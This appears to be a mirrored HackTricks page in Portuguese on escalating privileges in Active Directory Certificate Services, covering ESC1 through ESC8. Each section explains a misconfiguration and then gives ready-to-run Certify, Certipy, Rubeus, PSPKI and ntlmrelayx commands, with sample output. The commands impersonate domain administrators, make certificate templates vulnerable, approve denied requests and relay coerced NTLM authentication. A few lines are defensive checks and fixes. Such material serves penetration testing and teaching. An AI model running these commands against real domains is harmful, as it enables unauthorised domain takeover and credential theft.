mirror of
https://github.com/carlospolop/hacktricks
synced 2024-12-19 01:24:50 +00:00
468 lines
33 KiB
Markdown
468 lines
33 KiB
Markdown
# AD CS Escalation de Domínio
|
|
|
|
<details>
|
|
|
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
|
|
|
* Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
|
|
|
|
</details>
|
|
|
|
## Modelos de Certificado Mal Configurados - ESC1
|
|
|
|
### Explicação
|
|
|
|
* O **CA empresarial** concede **direitos de inscrição a usuários de baixo privilégio**
|
|
* **A aprovação do gerente está desativada**
|
|
* **Não são necessárias assinaturas autorizadas**
|
|
* Um descritor de segurança de **modelo de certificado excessivamente permissivo concede direitos de inscrição de certificado a usuários de baixo privilégio**
|
|
* O **modelo de certificado define EKUs que permitem autenticação**:
|
|
* _Autenticação do cliente (OID 1.3.6.1.5.5.7.3.2), Autenticação do cliente PKINIT (1.3.6.1.5.2.3.4), Logon do cartão inteligente (OID 1.3.6.1.4.1.311.20.2.2), Qualquer finalidade (OID 2.5.29.37.0) ou sem EKU (SubCA)._
|
|
* O **modelo de certificado permite que solicitantes especifiquem um subjectAltName no CSR:**
|
|
* **AD** usará a identidade especificada pelo campo **subjectAltName** (SAN) de um certificado **se** ele estiver **presente**. Consequentemente, se um solicitante puder especificar o SAN em um CSR, o solicitante poderá **solicitar um certificado como qualquer pessoa** (por exemplo, um usuário de administrador de domínio). O objeto AD do modelo de certificado **especifica** se o solicitante **pode especificar o SAN** em sua propriedade **`mspki-certificate-name-`**`flag`. A propriedade `mspki-certificate-name-flag` é uma **máscara de bits** e se a flag **`CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT`** estiver **presente**, um **solicitante pode especificar o SAN.**
|
|
|
|
{% hint style="danger" %}
|
|
Essas configurações permitem que um **usuário de baixo privilégio solicite um certificado com um SAN arbitrário**, permitindo que o usuário de baixo privilégio se autentique como qualquer principal no domínio via Kerberos ou SChannel.
|
|
{% endhint %}
|
|
|
|
Isso é frequentemente habilitado, por exemplo, para permitir que produtos ou serviços de implantação gerem certificados HTTPS ou certificados de host na hora. Ou por falta de conhecimento.
|
|
|
|
Observe que, quando um certificado com esta última opção é criado, um **aviso aparece**, mas não aparece se um **modelo de certificado** com esta configuração é **duplicado** (como o modelo `WebServer` que tem `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` habilitado e, em seguida, o administrador pode adicionar um OID de autenticação).
|
|
|
|
### Abuso
|
|
|
|
Para **encontrar modelos de certificado vulneráveis**, você pode executar:
|
|
```bash
|
|
Certify.exe find /vulnerable
|
|
certipy find -u john@corp.local -p Passw0rd -dc-ip 172.16.126.128
|
|
```
|
|
Para **abusar dessa vulnerabilidade para se passar por um administrador**, pode-se executar:
|
|
```bash
|
|
Certify.exe request /ca:dc.theshire.local-DC-CA /template:VulnTemplate /altname:localadmin
|
|
certipy req 'corp.local/john:Passw0rd!@ca.corp.local' -ca 'corp-CA' -template 'ESC1' -alt 'administrator@corp.local'
|
|
```
|
|
Então, você pode transformar o **certificado gerado para o formato `.pfx`** e usá-lo para **autenticação usando Rubeus ou certipy** novamente:
|
|
```bash
|
|
Rubeus.exe asktgt /user:localdomain /certificate:localadmin.pfx /password:password123! /ptt
|
|
certipy auth -pfx 'administrator.pfx' -username 'administrator' -domain 'corp.local' -dc-ip 172.16.19.100
|
|
```
|
|
Os binários do Windows "Certreq.exe" e "Certutil.exe" podem ser usados para gerar o PFX: https://gist.github.com/b4cktr4ck2/95a9b908e57460d9958e8238f85ef8ee
|
|
|
|
Além disso, a seguinte consulta LDAP, quando executada no esquema de configuração da floresta AD, pode ser usada para **enumerar** **modelos de certificado** que não exigem aprovação/assinaturas, que possuem um EKU de **Autenticação do Cliente ou Logon de Smart Card**, e têm a flag **`CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT`** habilitada:
|
|
```
|
|
(&(objectclass=pkicertificatetemplate)(!(mspki-enrollmentflag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-rasignature=*)))(|(pkiextendedkeyusage=1.3.6.1.4.1.311.20.2.2)(pkiextendedkeyusage=1.3.6.1.5.5.7.3.2)(pkiextendedkeyusage=1.3.6.1.5.2.3.4)(pkiextendedkeyusage=2.5.29.37.0)(!(pkiextendedkeyusage=*)))(mspkicertificate-name-flag:1.2.840.113556.1.4.804:=1))
|
|
```
|
|
## Modelos de Certificado Mal Configurados - ESC2
|
|
|
|
### Explicação
|
|
|
|
O segundo cenário de abuso é uma variação do primeiro:
|
|
|
|
1. O CA da empresa concede direitos de inscrição a usuários de baixo privilégio.
|
|
2. A aprovação do gerente é desativada.
|
|
3. Nenhuma assinatura autorizada é necessária.
|
|
4. Um descritor de segurança de modelo de certificado excessivamente permissivo concede direitos de inscrição de certificado a usuários de baixo privilégio.
|
|
5. **O modelo de certificado define o EKU de qualquer finalidade ou nenhum EKU.**
|
|
|
|
O **EKU de qualquer finalidade** permite que um invasor obtenha um **certificado** para **qualquer finalidade**, como autenticação de cliente, autenticação de servidor, assinatura de código, etc. A mesma **técnica usada para ESC3** pode ser usada para abusar disso.
|
|
|
|
Um **certificado sem EKUs** - um certificado de CA subordinado - também pode ser abusado para **qualquer finalidade**, mas também pode **ser usado para assinar novos certificados**. Como tal, usando um certificado de CA subordinado, um invasor poderia **especificar EKUs ou campos arbitrários nos novos certificados.**
|
|
|
|
No entanto, se o **CA subordinado não for confiável** pelo objeto **`NTAuthCertificates`** (o que não será por padrão), o invasor **não pode criar novos certificados** que funcionem para **autenticação de domínio**. Ainda assim, o invasor pode criar **novos certificados com qualquer EKU** e valores de certificado arbitrários, dos quais há **muitos** que o invasor poderia potencialmente **abusar** (por exemplo, assinatura de código, autenticação de servidor, etc.) e pode ter grandes implicações para outras aplicações na rede, como SAML, AD FS ou IPSec.
|
|
|
|
A seguinte consulta LDAP, quando executada no esquema de configuração da floresta AD, pode ser usada para enumerar modelos que correspondem a este cenário:
|
|
```
|
|
(&(objectclass=pkicertificatetemplate)(!(mspki-enrollmentflag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-rasignature=*)))(|(pkiextendedkeyusage=2.5.29.37.0)(!(pkiextendedkeyusage=*))))
|
|
```
|
|
## Modelos de Agente de Inscrição Mal Configurados - ESC3
|
|
|
|
### Explicação
|
|
|
|
Este cenário é semelhante ao primeiro e ao segundo, mas **abusando** de um **EKU diferente** (Agente de Solicitação de Certificado) e **2 modelos diferentes** (portanto, possui 2 conjuntos de requisitos).
|
|
|
|
O **EKU do Agente de Solicitação de Certificado** (OID 1.3.6.1.4.1.311.20.2.1), conhecido como **Agente de Inscrição** na documentação da Microsoft, permite que um principal se **inscreva** para um **certificado** em **nome de outro usuário**.
|
|
|
|
O **"agente de inscrição"** se inscreve em tal **modelo** e usa o **certificado resultante para co-assinar uma CSR em nome do outro usuário**. Em seguida, **envia** a **CSR co-assinada** para o CA, se inscrevendo em um **modelo** que **permite "inscrever em nome de"**, e o CA responde com um **certificado pertencente ao "outro" usuário**.
|
|
|
|
**Requisitos 1:**
|
|
|
|
1. O CA empresarial permite que usuários com baixo privilégio tenham direitos de inscrição.
|
|
2. A aprovação do gerente está desativada.
|
|
3. Nenhuma assinatura autorizada é necessária.
|
|
4. Um descritor de segurança de modelo de certificado excessivamente permissivo permite que usuários com baixo privilégio tenham direitos de inscrição de certificado.
|
|
5. O **modelo de certificado define o EKU do Agente de Solicitação de Certificado**. O OID do Agente de Solicitação de Certificado (1.3.6.1.4.1.311.20.2.1) permite solicitar outros modelos de certificado em nome de outros princípios.
|
|
|
|
**Requisitos 2:**
|
|
|
|
1. O CA empresarial permite que usuários com baixo privilégio tenham direitos de inscrição.
|
|
2. A aprovação do gerente está desativada.
|
|
3. **A versão do esquema do modelo é 1 ou é maior que 2 e especifica um Requisito de Emissão de Política de Aplicativo que requer o EKU do Agente de Solicitação de Certificado.**
|
|
4. O modelo de certificado define um EKU que permite autenticação de domínio.
|
|
5. As restrições do agente de inscrição não são implementadas no CA.
|
|
|
|
### Abuso
|
|
|
|
Você pode usar o [**Certify**](https://github.com/GhostPack/Certify) ou [**Certipy**](https://github.com/ly4k/Certipy) para abusar desse cenário:
|
|
```bash
|
|
# Request an enrollment agent certificate
|
|
Certify.exe request /ca:CORPDC01.CORP.LOCAL\CORP-CORPDC01-CA /template:Vuln-EnrollmentAgent
|
|
certipy req 'corp.local/john:Passw0rd!@ca.corp.local' -ca 'corp-CA' -template 'templateName'
|
|
|
|
# Enrollment agent certificate to issue a certificate request on behalf of
|
|
# another user to a template that allow for domain authentication
|
|
Certify.exe request /ca:CORPDC01.CORP.LOCAL\CORP-CORPDC01-CA /template:User /onbehalfof:CORP\itadmin /enrollment:enrollmentcert.pfx /enrollcertpwd:asdf
|
|
certipy req 'corp.local/john:Pass0rd!@ca.corp.local' -ca 'corp-CA' -template 'User' -on-behalf-of 'corp\administrator' -pfx 'john.pfx'
|
|
|
|
# Use Rubeus with the certificate to authenticate as the other user
|
|
Rubeu.exe asktgt /user:CORP\itadmin /certificate:itadminenrollment.pfx /password:asdf
|
|
```
|
|
As CAs empresariais podem **restringir** os **usuários** que podem **obter** um **certificado de agente de inscrição**, os modelos de inscrição de agente e em quais **contas** o agente de inscrição pode **agir em nome de** ao abrir `certsrc.msc` `snap-in -> clicando com o botão direito no CA -> clicando em Propriedades -> navegando` até a guia "Agentes de Inscrição".
|
|
|
|
No entanto, a configuração padrão do CA é "**Não restringir agentes de inscrição**". Mesmo quando os administradores habilitam "Restringir agentes de inscrição", a configuração padrão é extremamente permissiva, permitindo que todos tenham acesso a todos os modelos de inscrição como qualquer pessoa.
|
|
|
|
## Controle de Acesso Vulnerável ao Modelo de Certificado - ESC4
|
|
|
|
### **Explicação**
|
|
|
|
Os **modelos de certificado** têm um **descritor de segurança** que especifica quais **principais do AD** têm **permissões específicas sobre o modelo**.
|
|
|
|
Se um **atacante** tiver **permissões suficientes** para **modificar** um **modelo** e **criar** qualquer uma das **configurações incorretas** exploráveis das **seções anteriores**, ele poderá explorá-lo e **escalar privilégios**.
|
|
|
|
Direitos interessantes sobre modelos de certificado:
|
|
|
|
* **Proprietário:** Controle total implícito do objeto, pode editar todas as propriedades.
|
|
* **Controle Total:** Controle total do objeto, pode editar todas as propriedades.
|
|
* **Escrever Proprietário:** Pode modificar o proprietário para um principal controlado pelo atacante.
|
|
* **Escrever Dacl**: Pode modificar o controle de acesso para conceder Controle Total a um atacante.
|
|
* **Escrever Propriedade:** Pode editar todas as propriedades.
|
|
|
|
### Abuso
|
|
|
|
Um exemplo de privesc como o anterior:
|
|
|
|
<figure><img src="../../../.gitbook/assets/image (15) (2).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
ESC4 é quando um usuário tem privilégios de gravação sobre um modelo de certificado. Isso pode, por exemplo, ser abusado para sobrescrever a configuração do modelo de certificado para tornar o modelo vulnerável ao ESC1.
|
|
|
|
Como podemos ver no caminho acima, apenas `JOHNPC` tem esses privilégios, mas nosso usuário `JOHN` tem a nova aresta `AddKeyCredentialLink` para `JOHNPC`. Como essa técnica está relacionada a certificados, também implementei esse ataque, conhecido como [Credenciais de Sombra](https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab). Aqui está uma pequena prévia do comando `shadow auto` do Certipy para recuperar o hash NT da vítima.
|
|
|
|
<figure><img src="../../../.gitbook/assets/image (1) (2) (1).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
**Certipy** pode sobrescrever a configuração de um modelo de certificado com um único comando. Por **padrão**, o Certipy irá **sobrescrever** a configuração para torná-la **vulnerável ao ESC1**. Também podemos especificar o parâmetro **`-save-old` para salvar a configuração antiga**, o que será útil para **restaurar** a configuração após nosso ataque.
|
|
```bash
|
|
# Make template vuln to ESC1
|
|
certipy template -username john@corp.local -password Passw0rd -template ESC4-Test -save-old
|
|
|
|
# Exploit ESC1
|
|
certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -target ca.corp.local -template ESC4-Test -upn administrator@corp.local
|
|
|
|
# Restore config
|
|
certipy template -username john@corp.local -password Passw0rd -template ESC4-Test -configuration ESC4-Test.json
|
|
```
|
|
## Controle de Acesso de Objeto PKI Vulnerável - ESC5
|
|
|
|
### Explicação
|
|
|
|
A teia de relacionamentos baseados em ACL interconectados que podem afetar a segurança do AD CS é extensa. Vários **objetos fora dos modelos de certificado** e da própria autoridade de certificação podem ter um **impacto na segurança de todo o sistema AD CS**. Essas possibilidades incluem (mas não se limitam a):
|
|
|
|
* O **objeto de computador AD do servidor CA** (ou seja, comprometimento por meio de S4U2Self ou S4U2Proxy)
|
|
* O **servidor RPC/DCOM do servidor CA**
|
|
* Qualquer **objeto ou contêiner descendente do AD no contêiner** `CN=Public Key Services,CN=Services,CN=Configuration,DC=<DOMAIN>,DC=<COM>` (por exemplo, o contêiner de modelos de certificado, o contêiner de autoridades de certificação, o objeto NTAuthCertificates, o contêiner de serviços de inscrição, etc.)
|
|
|
|
Se um atacante com baixo privilégio puder obter **controle sobre qualquer um desses**, o ataque provavelmente pode **comprometer o sistema PKI**.
|
|
|
|
## EDITF\_ATTRIBUTESUBJECTALTNAME2 - ESC6
|
|
|
|
### Explicação
|
|
|
|
Existe outro problema semelhante, descrito no [**post da CQure Academy**](https://cqureacademy.com/blog/enhanced-key-usage), que envolve a flag **`EDITF_ATTRIBUTESUBJECTALTNAME2`**. Como a Microsoft descreve, "**Se** essa flag estiver **definida** no CA, **qualquer solicitação** (incluindo quando o assunto é construído a partir do Active Directory®) pode ter **valores definidos pelo usuário** no **nome alternativo do assunto**".\
|
|
Isso significa que um **atacante** pode se inscrever em **QUALQUER modelo** configurado para **autenticação de domínio** que também **permite que usuários não privilegiados** se inscrevam (por exemplo, o modelo de usuário padrão) e **obter um certificado** que nos permite **autenticar** como um administrador de domínio (ou **qualquer outro usuário/máquina ativa**).
|
|
|
|
**Nota**: os **nomes alternativos** aqui são **incluídos** em um CSR por meio do argumento `-attrib "SAN:"` para `certreq.exe` (ou seja, "Pares de Nome Valor"). Isso é **diferente** do método para **abusar de SANs** em ESC1, pois **armazena informações da conta em um atributo de certificado em vez de uma extensão de certificado**.
|
|
|
|
### Abuso
|
|
|
|
As organizações podem **verificar se a configuração está habilitada** usando o seguinte comando `certutil.exe`:
|
|
```bash
|
|
certutil -config "CA_HOST\CA_NAME" -getreg "policy\EditFlags"
|
|
```
|
|
Abaixo, isso usa apenas o **registro remoto**, então o seguinte comando também pode funcionar:
|
|
```
|
|
reg.exe query \\<CA_SERVER>\HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\CertSvc\Configuration\<CA_NAME>\PolicyModules\CertificateAuthority_MicrosoftDefault.Policy\ /v EditFlags
|
|
```
|
|
[**Certify**](https://github.com/GhostPack/Certify) e [**Certipy**](https://github.com/ly4k/Certipy) também verificam isso e podem ser usados para abusar dessa má configuração:
|
|
```bash
|
|
# Check for vulns, including this one
|
|
Certify.exe find
|
|
|
|
# Abuse vuln
|
|
Certify.exe request /ca:dc.theshire.local\theshire-DC-CA /template:User /altname:localadmin
|
|
certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -target ca.corp.local -template User -upn administrator@corp.local
|
|
```
|
|
Essas configurações podem ser **definidas**, assumindo direitos **administrativos de domínio** (ou equivalentes), a partir de qualquer sistema:
|
|
```bash
|
|
certutil -config "CA_HOST\CA_NAME" -setreg policy\EditFlags +EDITF_ATTRIBUTESUBJECTALTNAME2
|
|
```
|
|
Se você encontrar essa configuração em seu ambiente, você pode **remover esta flag** com:
|
|
```bash
|
|
certutil -config "CA_HOST\CA_NAME" -setreg policy\EditFlags -EDITF_ATTRIBUTESUBJECTALTNAME2
|
|
```
|
|
{% hint style="warning" %}
|
|
Após as atualizações de segurança de maio de 2022, novos **certificados** terão uma **extensão de segurança** que **incorpora** a propriedade **`objectSid` do solicitante**. Para ESC1, essa propriedade será refletida a partir do SAN especificado, mas com **ESC6**, essa propriedade reflete o **`objectSid` do solicitante**, e não do SAN.\
|
|
Portanto, **para abusar do ESC6**, o ambiente deve ser **vulnerável ao ESC10** (Mapeamentos de Certificado Fracos), onde o **SAN é preferido sobre a nova extensão de segurança**.
|
|
{% endhint %}
|
|
|
|
## Controle de Acesso Vulnerável da Autoridade de Certificação - ESC7
|
|
|
|
### Ataque 1
|
|
|
|
#### Explicação
|
|
|
|
Uma autoridade de certificação em si tem um **conjunto de permissões** que seguram várias **ações da CA**. Essas permissões podem ser acessadas a partir do `certsrv.msc`, clicando com o botão direito em uma CA, selecionando Propriedades e mudando para a guia Segurança:
|
|
|
|
<figure><img src="../../../.gitbook/assets/image (73) (2).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
Isso também pode ser enumerado via [**módulo PSPKI**](https://www.pkisolutions.com/tools/pspki/) com `Get-CertificationAuthority | Get-CertificationAuthorityAcl`:
|
|
```bash
|
|
Get-CertificationAuthority -ComputerName dc.theshire.local | Get-certificationAuthorityAcl | select -expand Access
|
|
```
|
|
Os dois principais direitos aqui são o direito **`ManageCA`** e o direito **`ManageCertificates`**, que se traduzem em "administrador de CA" e "gerenciador de certificados".
|
|
|
|
#### Abuso
|
|
|
|
Se você tiver um principal com direitos **`ManageCA`** em uma **autoridade de certificação**, podemos usar o **PSPKI** para alterar remotamente o bit **`EDITF_ATTRIBUTESUBJECTALTNAME2`** para **permitir a especificação SAN** em qualquer modelo ([ECS6](domain-escalation.md#editf\_attributesubjectaltname2-esc6)):
|
|
|
|
<figure><img src="../../../.gitbook/assets/image (1) (2) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
<figure><img src="../../../.gitbook/assets/image (70) (2).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
Isso também é possível de forma mais simples com o cmdlet [**Enable-PolicyModuleFlag**](https://www.sysadmins.lv/projects/pspki/enable-policymoduleflag.aspx) do **PSPKI**.
|
|
|
|
O direito **`ManageCertificates`** permite **aprovar uma solicitação pendente**, portanto, ignorando a proteção "aprovação do gerente de certificados da CA".
|
|
|
|
Você pode usar uma **combinação** do módulo **Certify** e **PSPKI** para solicitar um certificado, aprová-lo e baixá-lo:
|
|
```powershell
|
|
# Request a certificate that will require an approval
|
|
Certify.exe request /ca:dc.theshire.local\theshire-DC-CA /template:ApprovalNeeded
|
|
[...]
|
|
[*] CA Response : The certificate is still pending.
|
|
[*] Request ID : 336
|
|
[...]
|
|
|
|
# Use PSPKI module to approve the request
|
|
Import-Module PSPKI
|
|
Get-CertificationAuthority -ComputerName dc.theshire.local | Get-PendingRequest -RequestID 336 | Approve-CertificateRequest
|
|
|
|
# Download the certificate
|
|
Certify.exe download /ca:dc.theshire.local\theshire-DC-CA /id:336
|
|
```
|
|
### Ataque 2
|
|
|
|
#### Explicação
|
|
|
|
{% hint style="warning" %}
|
|
No **ataque anterior** **`Manage CA`**, as permissões foram usadas para **ativar** a flag **EDITF\_ATTRIBUTESUBJECTALTNAME2** e realizar o **ataque ESC6**, mas isso não terá efeito até que o serviço CA (`CertSvc`) seja reiniciado. Quando um usuário tem o direito de acesso `Manage CA`, o usuário também pode **reiniciar o serviço**. No entanto, isso **não significa que o usuário possa reiniciar o serviço remotamente**. Além disso, o **ESC6 pode não funcionar** em ambientes mais atualizados devido às atualizações de segurança de maio de 2022.
|
|
{% endhint %}
|
|
|
|
Portanto, outro ataque é apresentado aqui.
|
|
|
|
Pré-requisitos:
|
|
|
|
* Apenas a permissão **`ManageCA`**
|
|
* Permissão **`Manage Certificates`** (pode ser concedida a partir de **`ManageCA`**)
|
|
* O modelo de certificado **`SubCA`** deve estar **habilitado** (pode ser habilitado a partir de **`ManageCA`**)
|
|
|
|
A técnica se baseia no fato de que usuários com o direito de acesso `Manage CA` _e_ `Manage Certificates` podem **emitir solicitações de certificado falhas**. O modelo de certificado **`SubCA`** é **vulnerável ao ESC1**, mas **apenas administradores** podem se inscrever no modelo. Assim, um **usuário** pode **solicitar** a inscrição no **`SubCA`** - que será **negada** - mas **depois emitida pelo gerente**.
|
|
|
|
#### Abuso
|
|
|
|
Você pode **conceder a si mesmo o direito de acesso `Manage Certificates`** adicionando seu usuário como um novo oficial.
|
|
```bash
|
|
certipy ca -ca 'corp-DC-CA' -add-officer john -username john@corp.local -password Passw0rd
|
|
Certipy v4.0.0 - by Oliver Lyak (ly4k)
|
|
|
|
[*] Successfully added officer 'John' on 'corp-DC-CA'
|
|
```
|
|
O modelo **`SubCA`** pode ser **habilitado no CA** com o parâmetro `-enable-template`. Por padrão, o modelo `SubCA` está habilitado.
|
|
```bash
|
|
# List templates
|
|
certipy ca 'corp.local/john:Passw0rd!@ca.corp.local' -ca 'corp-CA' -enable-template 'SubCA'
|
|
## If SubCA is not there, you need to enable it
|
|
|
|
# Enable SubCA
|
|
certipy ca -ca 'corp-DC-CA' -enable-template SubCA -username john@corp.local -password Passw0rd
|
|
Certipy v4.0.0 - by Oliver Lyak (ly4k)
|
|
|
|
[*] Successfully enabled 'SubCA' on 'corp-DC-CA'
|
|
```
|
|
Se já cumprimos os pré-requisitos para este ataque, podemos começar **solicitando um certificado com base no modelo `SubCA`**.
|
|
|
|
**Essa solicitação será negada**, mas salvaremos a chave privada e anotaremos o ID da solicitação.
|
|
```bash
|
|
certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -target ca.corp.local -template SubCA -upn administrator@corp.local
|
|
Certipy v4.0.0 - by Oliver Lyak (ly4k)
|
|
|
|
[*] Requesting certificate via RPC
|
|
[-] Got error while trying to request certificate: code: 0x80094012 - CERTSRV_E_TEMPLATE_DENIED - The permissions on the certificate template do not allow the current user to enroll for this type of certificate.
|
|
[*] Request ID is 785
|
|
Would you like to save the private key? (y/N) y
|
|
[*] Saved private key to 785.key
|
|
[-] Failed to request certificate
|
|
```
|
|
Com o nosso **`Gerenciar CA` e `Gerenciar Certificados`**, podemos então **emitir o certificado falho** com o comando `ca` e o parâmetro `-issue-request <ID do pedido>`.
|
|
```bash
|
|
certipy ca -ca 'corp-DC-CA' -issue-request 785 -username john@corp.local -password Passw0rd
|
|
Certipy v4.0.0 - by Oliver Lyak (ly4k)
|
|
|
|
[*] Successfully issued certificate
|
|
```
|
|
E finalmente, podemos **recuperar o certificado emitido** com o comando `req` e o parâmetro `-retrieve <ID do pedido>`.
|
|
```bash
|
|
certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -target ca.corp.local -retrieve 785
|
|
Certipy v4.0.0 - by Oliver Lyak (ly4k)
|
|
|
|
[*] Rerieving certificate with ID 785
|
|
[*] Successfully retrieved certificate
|
|
[*] Got certificate with UPN 'administrator@corp.local'
|
|
[*] Certificate has no object SID
|
|
[*] Loaded private key from '785.key'
|
|
[*] Saved certificate and private key to 'administrator.pfx'
|
|
```
|
|
## NTLM Relay para endpoints HTTP do AD CS - ESC8
|
|
|
|
### Explicação
|
|
|
|
{% hint style="info" %}
|
|
Em resumo, se um ambiente tiver o **AD CS instalado**, juntamente com um **endpoint de inscrição na web vulnerável** e pelo menos um **modelo de certificado publicado** que permita a **inscrição de computadores de domínio e autenticação de clientes** (como o modelo padrão **`Machine`**), então um **atacante pode comprometer QUALQUER computador com o serviço spooler em execução**!
|
|
{% endhint %}
|
|
|
|
O AD CS suporta vários **métodos de inscrição baseados em HTTP** por meio de funções adicionais do servidor AD CS que os administradores podem instalar. Essas interfaces de inscrição de certificado baseadas em HTTP são todos **ataques de relé NTLM vulneráveis**. Usando o relé NTLM, um atacante em uma **máquina comprometida pode se passar por qualquer conta AD que autentique com NTLM**. Enquanto se passa pela conta da vítima, um atacante pode acessar essas interfaces da web e **solicitar um certificado de autenticação do cliente com base nos modelos de certificado `User` ou `Machine`**.
|
|
|
|
* A **interface de inscrição na web** (uma aplicação ASP com aparência mais antiga acessível em `http://<caserver>/certsrv/`), por padrão, suporta apenas HTTP, que não pode proteger contra ataques de relé NTLM. Além disso, ele explicitamente permite apenas autenticação NTLM por meio de seu cabeçalho HTTP de autorização, portanto, protocolos mais seguros como Kerberos são inutilizáveis.
|
|
* O **Serviço de Inscrição de Certificado** (CES), o **Serviço da Política de Inscrição de Certificado** (CEP) e o **Serviço de Inscrição de Dispositivos de Rede** (NDES) suportam autenticação de negociação por padrão por meio de seu cabeçalho HTTP de autorização. A autenticação de negociação **suporta** Kerberos e **NTLM**; consequentemente, um atacante pode **negociar para baixo a autenticação NTLM** durante ataques de relé. Esses serviços da web pelo menos habilitam HTTPS por padrão, mas infelizmente, HTTPS por si só não protege contra ataques de relé NTLM. Somente quando o HTTPS é combinado com o vínculo de canal, os serviços HTTPS podem ser protegidos contra ataques de relé NTLM. Infelizmente, o AD CS não habilita a Proteção Estendida para Autenticação no IIS, que é necessária para habilitar o vínculo de canal.
|
|
|
|
Os **problemas** comuns dos ataques de relé NTLM são que as **sessões NTLM geralmente são curtas** e que o atacante **não pode** interagir com serviços que **exigem assinatura NTLM**.
|
|
|
|
No entanto, abusar de um ataque de relé NTLM para obter um certificado para o usuário resolve essas limitações, pois a sessão viverá enquanto o certificado for válido e o certificado pode ser usado para usar serviços que **exigem assinatura NTLM**. Para saber como usar um certificado roubado, verifique:
|
|
|
|
{% content-ref url="account-persistence.md" %}
|
|
[account-persistence.md](account-persistence.md)
|
|
{% endcontent-ref %}
|
|
|
|
Outra limitação dos ataques de relé NTLM é que eles **exigem que uma conta de vítima se autentique em uma máquina controlada pelo atacante**. Um atacante pode esperar ou pode tentar **forçá-lo**:
|
|
|
|
{% content-ref url="../printers-spooler-service-abuse.md" %}
|
|
[printers-spooler-service-abuse.md](../printers-spooler-service-abuse.md)
|
|
{% endcontent-ref %}
|
|
|
|
### **Abuso**
|
|
|
|
O comando `cas` do **Certify** pode enumerar os **endpoints HTTP do AD CS habilitados**:
|
|
|
|
[**Certify**](https://github.com/GhostPack/Certify)
|
|
```
|
|
Certify.exe cas
|
|
```
|
|
As Autoridades de Certificação Empresariais também armazenam os pontos de extremidade CES em seus objetos AD na propriedade `msPKI-Enrollment-Servers`. O **Certutil.exe** e o **PSPKI** podem analisar e listar esses pontos de extremidade:
|
|
```
|
|
certutil.exe -enrollmentServerURL -config CORPDC01.CORP.LOCAL\CORP-CORPDC01-CA
|
|
```
|
|
<figure><img src="../../../.gitbook/assets/image (2) (2) (2) (1).png" alt=""><figcaption>Figura: Exemplo de um certificado de domínio do Active Directory</figcaption></figure>
|
|
```powershell
|
|
Import-Module PSPKI
|
|
Get-CertificationAuthority | select Name,Enroll* | Format-List *
|
|
```
|
|
<figure><img src="../../../.gitbook/assets/image (8) (2) (2).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
#### Abuso com Certify
|
|
```bash
|
|
## In the victim machine
|
|
# Prepare to send traffic to the compromised machine 445 port to 445 in the attackers machine
|
|
PortBender redirect 445 8445
|
|
rportfwd 8445 127.0.0.1 445
|
|
# Prepare a proxy that the attacker can use
|
|
socks 1080
|
|
|
|
## In the attackers
|
|
proxychains ntlmrelayx.py -t http://<AC Server IP>/certsrv/certfnsh.asp -smb2support --adcs --no-http-server
|
|
|
|
# Force authentication from victim to compromised machine with port forwards
|
|
execute-assembly C:\SpoolSample\SpoolSample\bin\Debug\SpoolSample.exe <victim> <compromised>
|
|
```
|
|
#### Abuso com [Certipy](https://github.com/ly4k/Certipy)
|
|
|
|
Por padrão, o Certipy solicitará um certificado com base no modelo `Máquina` ou `Usuário`, dependendo se o nome da conta transmitida termina com `$`. É possível especificar outro modelo com o parâmetro `-template`.
|
|
|
|
Podemos então usar uma técnica como [PetitPotam](https://github.com/ly4k/PetitPotam) para coagir a autenticação. Para controladores de domínio, devemos especificar `-template DomainController`.
|
|
```
|
|
$ certipy relay -ca ca.corp.local
|
|
Certipy v4.0.0 - by Oliver Lyak (ly4k)
|
|
|
|
[*] Targeting http://ca.corp.local/certsrv/certfnsh.asp
|
|
[*] Listening on 0.0.0.0:445
|
|
[*] Requesting certificate for 'CORP\\Administrator' based on the template 'User'
|
|
[*] Got certificate with UPN 'Administrator@corp.local'
|
|
[*] Certificate object SID is 'S-1-5-21-980154951-4172460254-2779440654-500'
|
|
[*] Saved certificate and private key to 'administrator.pfx'
|
|
[*] Exiting...
|
|
```
|
|
